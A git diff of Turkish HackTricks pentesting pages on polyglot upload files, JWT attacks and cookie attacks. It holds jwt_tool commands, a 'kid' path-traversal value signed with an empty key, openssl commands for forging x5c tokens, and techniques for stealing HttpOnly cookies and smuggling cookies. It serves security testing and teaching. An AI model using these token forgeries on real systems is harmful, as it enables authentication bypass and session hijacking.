Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder ve aynı anda birden fazla dosya formatında geçerli olarak var olabilen bukalemunlar gibi davranır. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev gören bir [GIFAR](https://en.wikipedia.org/wiki/Gifar)dır. Bu tür dosyalar bu eşleşme ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
|
||||
|
||||
Poliglot dosyaların temel yararı, dosyaları türüne göre tarayan güvenlik önlemlerini aşma yetenekleridir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (örneğin, JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca belirli dosya türlerinin yüklenmesine izin vermektir—JPEG, GIF veya DOC gibi. Ancak, bir poliglot, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice aşabilir.
|
||||
Poliglot dosyaların temel yararı, dosyaları türüne göre tarayan güvenlik önlemlerini aşabilme yetenekleridir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (örneğin, JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca belirli dosya türlerinin yüklenmesine izin vermektir—JPEG, GIF veya DOC gibi. Ancak, bir poliglot, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice aşabilir.
|
||||
|
||||
Uyum sağlama yeteneklerine rağmen, poliglotlar sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyasını (PHp ARchive) ve bir JPEG'i barındırabilirken, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikiliği, yüklemesini garanti etmek için yeterli olmayabilir.
|
||||
|
||||
|
@ -329,15 +329,15 @@ Daha fazla bilgi için: [https://medium.com/swlh/polyglot-files-a-hackers-best-f
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hackleme öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hackleme öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -345,7 +345,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
|
|||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hackleme ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* **Hackleme ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,15 +9,15 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png"
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -26,13 +26,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png"
|
|||
|
||||
### **Hızlı Kazanımlar**
|
||||
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) aracını `All Tests!` modu ile çalıştırın ve yeşil satırları bekleyin.
|
||||
`All Tests!` moduyla [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) çalıştırın ve yeşil satırları bekleyin.
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
Eğer şanslıysanız, araç web uygulamasının JWT'yi yanlış kontrol ettiği bir durumu bulacaktır:
|
||||
Eğer şanslıysanız, araç web uygulamasının JWT'yi yanlış kontrol ettiği bazı durumları bulacaktır:
|
||||
|
||||
![](<../.gitbook/assets/image (935).png>)
|
||||
|
||||
|
@ -42,9 +42,9 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
```
|
||||
You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) to launch JWT attacks from Burp.
|
||||
|
||||
### Hiçbir şeyi değiştirmeden veriyi manipüle et
|
||||
### Hiçbir şeyi değiştirmeden veriyi manipüle etme
|
||||
|
||||
Sadece veriyi manipüle edebilir, imzayı olduğu gibi bırakabilir ve sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin, kullanıcı adınızı "admin" olarak değiştirmeye çalışın.
|
||||
Sadece veriyi manipüle edebilir, imzayı olduğu gibi bırakabilir ve sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin, kullanıcı adınızı "admin" olarak değiştirmeyi deneyin.
|
||||
|
||||
#### **Token kontrol ediliyor mu?**
|
||||
|
||||
|
@ -69,7 +69,7 @@ Token'ın 24 saatten fazla sürüp sürmediğini kontrol edin... belki de hiç s
|
|||
|
||||
[**Bu sayfaya bakın.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### Algoritmayı None olarak değiştir
|
||||
### Algoritmayı None olarak değiştirin
|
||||
|
||||
Kullanılan algoritmayı "None" olarak ayarlayın ve imza kısmını kaldırın.
|
||||
|
||||
|
@ -96,13 +96,13 @@ Bu, "JSON Web Tokens" Burp eklentisi ile yapılabilir.\
|
|||
|
||||
### JWKS Spoofing
|
||||
|
||||
Talimatlar, özellikle "jku" başlık iddiasını kullanan JWT token'larının güvenliğini değerlendirmek için bir yöntem detaylandırmaktadır. Bu iddia, token'ın doğrulanması için gerekli olan kamu anahtarını içeren bir JWKS (JSON Web Key Set) dosyasına bağlantı sağlamalıdır.
|
||||
Talimatlar, özellikle "jku" başlık iddiasını kullanan JWT token'larının güvenliğini değerlendirmek için bir yöntem detaylandırmaktadır. Bu iddia, token'ın doğrulaması için gerekli olan kamu anahtarını içeren bir JWKS (JSON Web Key Set) dosyasına bağlantı sağlamalıdır.
|
||||
|
||||
* **"jku" Başlığı ile Token'ları Değerlendirme**:
|
||||
* "jku" iddiasının URL'sini doğrulayarak uygun JWKS dosyasına yönlendirdiğinden emin olun.
|
||||
* Token'ın "jku" değerini kontrol edilen bir web hizmetine yönlendirecek şekilde değiştirin, böylece trafiği gözlemleyebilirsiniz.
|
||||
* "jku" iddiasının URL'sini doğrulayarak uygun JWKS dosyasına yönlendirildiğinden emin olun.
|
||||
* Token'ın "jku" değerini kontrol edilen bir web hizmetine yönlendirecek şekilde değiştirin, böylece trafik gözlemlenebilir.
|
||||
* **HTTP Etkileşimini İzleme**:
|
||||
* Belirttiğiniz URL'ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtarları almaya çalıştığını gösterir.
|
||||
* Belirtilen URL'nize yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtarları almaya çalıştığını gösterir.
|
||||
* Bu süreçte `jwt_tool` kullanırken, testin kolaylaştırılması için kişisel JWKS konumunuzu `jwtconf.ini` dosyasını güncelleyerek belirtmek önemlidir.
|
||||
* **`jwt_tool` için Komut**:
|
||||
* `jwt_tool` ile senaryoyu simüle etmek için aşağıdaki komutu çalıştırın:
|
||||
|
@ -121,7 +121,7 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
#### "kid" ile Yol Geçişi
|
||||
|
||||
`kid` iddiası, dosya sisteminde gezinmek için de istismar edilebilir ve bu da rastgele bir dosyanın seçilmesine olanak tanıyabilir. Belirli dosyalar veya hizmetler hedef alınarak bağlantı testi yapmak veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi, orijinal imzayı koruyarak `kid` değerini değiştirmek için `-T` bayrağını kullanarak değiştirmek mümkündür, aşağıda gösterildiği gibi:
|
||||
`kid` iddiası, dosya sisteminde gezinmek için de istismar edilebilir ve bu da rastgele bir dosyanın seçilmesine olanak tanıyabilir. Belirli dosyalar veya hizmetler hedeflenerek `kid` değerini değiştirerek bağlantıyı test etmek veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi, orijinal imzayı koruyarak `kid` değerini değiştirmek için `-T` bayrağını kullanarak değiştirmek mümkündür, aşağıda gösterildiği gibi:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -167,7 +167,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. PEM formatında kodlanmış bir dizi X.509 (bir sertifika format standardı) genel sertifikasına işaret eden bir URI. Set içindeki ilk sertifika, bu JWT'yi imzalamak için kullanılan sertifika olmalıdır. Sonraki sertifikalar, her biri bir öncekini imzalayarak sertifika zincirini tamamlar. X.509, RFC 52807'de tanımlanmıştır. Sertifikaların aktarımı için taşıma güvenliği gereklidir.
|
||||
X.509 URL. PEM formatında kodlanmış bir dizi X.509 (bir sertifika format standardı) genel sertifikasına işaret eden bir URI. Set içindeki ilk sertifika, bu JWT'yi imzalamak için kullanılan sertifika olmalıdır. Ardışık sertifikalar, her biri bir öncekini imzalayarak sertifika zincirini tamamlar. X.509, RFC 52807'de tanımlanmıştır. Sertifikaların aktarımı için taşıma güvenliği gereklidir.
|
||||
|
||||
**Bu başlığı kontrolünüz altındaki bir URL ile değiştirin** ve herhangi bir isteğin alınıp alınmadığını kontrol edin. Bu durumda **JWT'yi değiştirebilirsiniz**.
|
||||
|
||||
|
@ -188,7 +188,7 @@ Bu parametre **base64 formatında sertifika** içerebilir:
|
|||
|
||||
![](<../.gitbook/assets/image (1119).png>)
|
||||
|
||||
Eğer saldırgan **kendinden imzalı bir sertifika oluşturursa** ve ilgili özel anahtarı kullanarak sahte bir token oluşturursa ve "x5c" parametresinin değerini yeni oluşturulan sertifika ile değiştirirse ve diğer parametreleri, yani n, e ve x5t'yi değiştirirse, o zaman esasen sahte token sunucu tarafından kabul edilecektir.
|
||||
Eğer saldırgan **kendinden imzalı bir sertifika oluşturursa** ve ilgili özel anahtarı kullanarak sahte bir token oluşturursa ve "x5c" parametresinin değerini yeni oluşturulan sertifika ile değiştirip diğer parametreleri, yani n, e ve x5t'yi değiştirirse, esasen sahte token sunucu tarafından kabul edilecektir.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -229,7 +229,7 @@ Son olarak, kamu ve özel anahtarı ve yeni "n" ve "e" değerlerini kullanarak [
|
|||
|
||||
### ES256: Aynı nonce ile özel anahtarın açığa çıkarılması
|
||||
|
||||
Bazı uygulamalar ES256 kullanıyorsa ve iki jwt oluşturmak için aynı nonce kullanıyorsa, özel anahtar geri yüklenebilir.
|
||||
Bazı uygulamalar ES256 kullanıyorsa ve iki jwt oluşturmak için aynı nonce kullanıyorsa, özel anahtar geri kazanılabilir.
|
||||
|
||||
İşte bir örnek: [ECDSA: Aynı nonce kullanıldığında özel anahtarın açığa çıkarılması (SECP256k1 ile)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
|
@ -252,30 +252,30 @@ Bazı web uygulamalarının token'larının oluşturulması ve yönetimi için g
|
|||
|
||||
**Token'ların Süre Kontrolü**
|
||||
|
||||
Token'ın süresi "exp" Payload talebi kullanılarak kontrol edilir. JWT'lerin genellikle oturum bilgisi olmadan kullanıldığı göz önüne alındığında, dikkatli bir şekilde ele alınması gerekir. Birçok durumda, başka bir kullanıcının JWT'sini yakalamak ve yeniden oynatmak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC, token için bir son tarih ayarlamak amacıyla "exp" talebinin kullanılmasını önerir. Ayrıca, uygulamanın bu değerin işlenmesini sağlamak ve süresi dolmuş token'ları reddetmek için ilgili kontrolleri uygulaması önemlidir. Token "exp" talebini içeriyorsa ve test süre sınırları izin veriyorsa, token'ı saklamak ve süresi dolduktan sonra yeniden oynatmak önerilir. Token'ın içeriği, zaman damgası ayrıştırma ve süre kontrolü (UTC'deki zaman damgası) jwt_tool'ün -R bayrağı kullanılarak okunabilir.
|
||||
Token'ın süresi, "exp" Payload talebi kullanılarak kontrol edilir. JWT'lerin genellikle oturum bilgisi olmadan kullanıldığı göz önüne alındığında, dikkatli bir şekilde ele alınması gerekir. Birçok durumda, başka bir kullanıcının JWT'sini yakalamak ve yeniden oynatmak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC, token için bir son tarih ayarlamak amacıyla "exp" talebinin kullanılmasını önerir. Ayrıca, uygulamanın bu değerin işlenmesini sağlamak ve süresi dolmuş token'ları reddetmek için ilgili kontrolleri uygulaması önemlidir. Token "exp" talebini içeriyorsa ve test süre sınırları izin veriyorsa, token'ı saklamak ve süresi dolduktan sonra yeniden oynatmak önerilir. Token'ın içeriği, zaman damgası ayrıştırma ve süre kontrolü (UTC'deki zaman damgası) jwt_tool'ün -R bayrağı kullanılarak okunabilir.
|
||||
|
||||
* Uygulama hala token'ı doğruluyorsa, bu durum bir güvenlik riski oluşturabilir, çünkü bu token'ın asla süresinin dolmayabileceğini ima edebilir.
|
||||
* Uygulama hala token'ı doğruluyorsa, bu durum bir güvenlik riski oluşturabilir, çünkü bu token'ın asla süresi dolmayabileceğini ima edebilir.
|
||||
|
||||
### Araçlar
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hackleme öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hackleme öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hackleme ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -43,7 +43,7 @@ Bir çerezi alacak olan ana bilgisayarlar `Domain` özelliği ile belirtilir. Va
|
|||
* `SameSite` özelliği, çerezlerin üçüncü taraf alan adlarından gelen isteklere gönderilip gönderilmeyeceğini belirler. Üç ayar sunar:
|
||||
* **Strict**: Çerezin üçüncü taraf isteklerinde gönderilmesini kısıtlar.
|
||||
* **Lax**: Çerezin üçüncü taraf web siteleri tarafından başlatılan GET istekleri ile gönderilmesine izin verir.
|
||||
* **None**: Çerezin herhangi bir üçüncü taraf alan adından gönderilmesine izin verir.
|
||||
* **None**: Çerezin herhangi bir üçüncü taraf alanından gönderilmesine izin verir.
|
||||
|
||||
Çerezleri yapılandırırken, bu özellikleri anlamak, farklı senaryolar arasında beklenildiği gibi davranmalarını sağlamaya yardımcı olabilir.
|
||||
|
||||
|
@ -71,11 +71,11 @@ Bu, **istemcinin** çereze erişimini engeller (Örneğin **Javascript** ile: `d
|
|||
|
||||
#### **Bypasses**
|
||||
|
||||
* Eğer sayfa, bir isteğin yanıtı olarak çerezleri **gönderiyorsa** (örneğin bir **PHPinfo** sayfasında), XSS'i kötüye kullanarak bu sayfaya bir istek göndermek ve yanıtından **çerezleri çalmak** mümkündür (örneği kontrol edin [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
* Bu, **TRACE** **HTTP** istekleri ile aşılabilir çünkü sunucudan gelen yanıt, gönderilen çerezleri yansıtacaktır (bu HTTP yöntemi mevcutsa). Bu teknik **Cross-Site Tracking** olarak adlandırılır.
|
||||
* Modern tarayıcılar, JS'den TRACE isteği göndermeye izin vermeyerek bu tekniği engeller. Ancak, IE6.0 SP2'ye `TRACE` yerine `\r\nTRACE` göndererek bazı aşma yöntemleri bulunmuştur.
|
||||
* Eğer sayfa, bir isteğin yanıtı olarak çerezleri **gönderiyorsa** (örneğin bir **PHPinfo** sayfasında), XSS'i kötüye kullanarak bu sayfaya bir istek göndermek ve yanıtından **çerezleri çalmak** mümkündür (örneği kontrol edin [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Bu, **TRACE** **HTTP** istekleri ile atlatılabilir çünkü sunucudan gelen yanıt, gönderilen çerezleri yansıtacaktır (bu HTTP yöntemi mevcutsa). Bu teknik **Cross-Site Tracking** olarak adlandırılır.
|
||||
* Modern tarayıcılar, JS'den TRACE isteği göndermeye izin vermeyerek bu tekniği engeller. Ancak, IE6.0 SP2'ye `TRACE` yerine `\r\nTRACE` göndererek bazı atlatmalar bulunmuştur.
|
||||
* Diğer bir yol, tarayıcıların sıfır/günlük açıklarını istismar etmektir.
|
||||
* Bir Çerez Kavanozu taşma saldırısı gerçekleştirerek **HttpOnly çerezleri** **üzerine yazmak** mümkündür:
|
||||
* Bir Çerez Kavanozu taşma saldırısı gerçekleştirerek **HttpOnly çerezlerini** **aşmak** mümkündür:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
|
@ -85,7 +85,7 @@ Bu, **istemcinin** çereze erişimini engeller (Örneğin **Javascript** ile: `d
|
|||
|
||||
### Secure
|
||||
|
||||
İstek, çerezi yalnızca güvenli bir kanal üzerinden (tipik olarak **HTTPS**) iletildiğinde **gönderecektir**.
|
||||
İstek, çerezi yalnızca güvenli bir kanal üzerinden (genellikle **HTTPS**) iletilirse **gönderecektir**.
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
|
@ -102,13 +102,13 @@ Bu, **istemcinin** çereze erişimini engeller (Örneğin **Javascript** ile: `d
|
|||
|
||||
### Overwriting cookies
|
||||
|
||||
Dolayısıyla, `__Host-` ile başlayan çerezlerin korunmasından biri, alt alan adlarından üzerine yazılmalarını engellemektir. Örneğin, [**Cookie Tossing saldırılarını**](cookie-tossing.md) önlemek. [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) konuşmasında, alt alan adlarından `__HOST-` ile başlayan çerezlerin ayarlanmasının, örneğin, başına veya sonuna "=" ekleyerek, ayrıştırıcıyı kandırarak mümkün olduğu sunulmuştur:
|
||||
Dolayısıyla, `__Host-` ile başlayan çerezlerin korunmasından biri, alt alan adlarından üzerine yazılmalarını engellemektir. Örneğin [**Cookie Tossing saldırılarını**](cookie-tossing.md) önlemek. [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) konuşmasında, alt alan adlarından `__HOST-` ile başlayan çerezlerin ayarlanmasının, örneğin başına veya sonuna "=" ekleyerek, ayrıştırıcıyı kandırarak mümkün olduğu sunulmuştur:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ya da PHP'de çerez adının başına **diğer karakterler ekleyerek**, bunların **alt çizgi** karakterleri ile **değiştirileceği** mümkün olmuştur, bu da `__HOST-` çerezlerini üzerine yazmaya olanak tanır:
|
||||
Ya da PHP'de çerez adının başına **diğer karakterler ekleyerek**, bunların **alt çizgi** karakterleri ile **değiştirileceği** mümkün olmuştur, bu da `__HOST-` çerezlerini üzerine yazmaya izin vermektedir:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
|
@ -146,7 +146,7 @@ Eğer bir **alt alan adında XSS bulduysanız** veya **bir alt alan adını kont
|
|||
|
||||
JWT'deki olası hataları açıklayan bir sayfaya erişmek için önceki bağlantıya tıklayın.
|
||||
|
||||
Çerezlerde kullanılan JSON Web Token'lar (JWT) da zafiyetler içerebilir. Potansiyel hatalar ve bunları nasıl istismar edeceğiniz hakkında derinlemesine bilgi için, JWT'yi hackleme ile ilgili bağlantılı belgeyi erişmeniz önerilir.
|
||||
Çerezlerde kullanılan JSON Web Token'lar (JWT) da zafiyetler içerebilir. Potansiyel hatalar ve bunları nasıl istismar edeceğiniz hakkında derinlemesine bilgi için, JWT'yi hackleme ile ilgili bağlantılı belgeye erişmeniz önerilir.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
|
@ -154,7 +154,7 @@ Bu saldırı, oturum açmış bir kullanıcının, şu anda kimlik doğrulaması
|
|||
|
||||
### Empty Cookies
|
||||
|
||||
(Başka detaylar için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Tarayıcılar, isim olmadan çerez oluşturulmasına izin verir, bu da JavaScript ile şu şekilde gösterilebilir:
|
||||
(Başka ayrıntılar için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Tarayıcılar, isim olmadan çerez oluşturulmasına izin verir, bu da JavaScript ile şu şekilde gösterilebilir:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
|
@ -180,7 +180,7 @@ Bu, `document.cookie`'nin boş bir dize döndürmesine neden olur ve kalıcı bi
|
|||
|
||||
#### Ayrıştırma Sorunlarından Dolayı Cookie Smuggling
|
||||
|
||||
(Daha fazla detay için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) gibi birkaç web sunucusu, eski RFC2965 desteği nedeniyle cookie dizelerini yanlış işler. Birden fazla değer içerse bile, çift tırnak içinde bir cookie değerini tek bir değer olarak okurlar; bu değerler genellikle anahtar-değer çiftlerini ayıran noktalı virgülleri içermelidir:
|
||||
(Daha fazla detay için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) gibi birkaç web sunucusu, eski RFC2965 desteği nedeniyle cookie dizelerini yanlış işler. Birden fazla değeri ayırması gereken noktalı virgüller içerse bile, çift tırnak içinde bir cookie değerini tek bir değer olarak okurlar:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
|
@ -192,17 +192,17 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
* Zope, bir sonraki çerezi analiz etmeye başlamak için bir virgül arar.
|
||||
* Python'un çerez sınıfları, bir boşluk karakterinde analiz yapmaya başlar.
|
||||
|
||||
Bu zafiyet, çerez tabanlı CSRF korumasına dayanan web uygulamalarında özellikle tehlikelidir, çünkü saldırganların taklit CSRF-token çerezleri enjekte etmesine olanak tanır ve bu da güvenlik önlemlerinin aşılmasına neden olabilir. Sorun, Python'un tekrar eden çerez adlarını ele almasıyla daha da kötüleşir; burada son gerçekleşme önceki olanları geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin taklit edilme eğiliminde olan arka uç sunuculara iletilmesi durumunda yetkilendirme atlamalarına yol açabilir.
|
||||
